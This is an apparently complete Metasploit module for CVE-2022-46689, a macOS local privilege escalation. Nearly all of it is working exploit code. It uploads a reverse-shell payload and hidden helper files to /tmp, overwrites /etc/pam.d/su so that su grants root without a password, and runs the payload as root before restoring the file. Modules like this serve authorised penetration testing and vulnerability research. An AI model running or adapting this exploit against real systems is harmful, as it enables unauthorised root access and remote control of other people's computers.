macOS Dirty Cow Arbitrary File Write Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',
        'Description' => %q{
          An app may be able to execute arbitrary code with kernel privileges
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ian Beer', # discovery
          'Zhuowei Zhang', # proof of concept
          'timwr' # metasploit integration
        ],
        'References' => [
          ['CVE', '2022-46689'],
          ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],
          ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],
        ],
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'SessionTypes' => ['shell', 'meterpreter'],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', {} ],
        ],
        'DisclosureDate' => '2022-12-17',
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )
    register_advanced_options [
      OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    version = Rex::Version.new(get_system_version)
    if version > Rex::Version.new('13.0.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')
      CheckCode::Safe
    elsif version < Rex::Version.new('10.15')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    upload_and_chmodx payload_file, binary_payload
    register_file_for_cleanup payload_file

    target_file = datastore['TargetFile']
    current_content = read_file(target_file)
    backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(backup_file, current_content)
      fail_with Failure::BadConfig, "#{backup_file} is not writable"
    end
    register_file_for_cleanup backup_file

    replace_content = current_content.sub('rootok', 'permit')

    replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    unless write_file(replace_file, replace_content)
      fail_with Failure::BadConfig, "#{replace_file} is not writable"
    end
    register_file_for_cleanup replace_file

    exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'
    upload_and_chmodx exploit_file, exploit_exe
    register_file_for_cleanup exploit_file

    exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"
    print_status("Executing exploit '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")

    su_cmd = "echo '#{payload_file} & disown' | su"
    print_status("Running cmd:\n#{su_cmd}")
    result = cmd_exec(su_cmd)
    unless result.blank?
      print_status("Command output:\n#{result}")
    end

    exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"
    print_status("Executing exploit (restoring) '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")
  end

end

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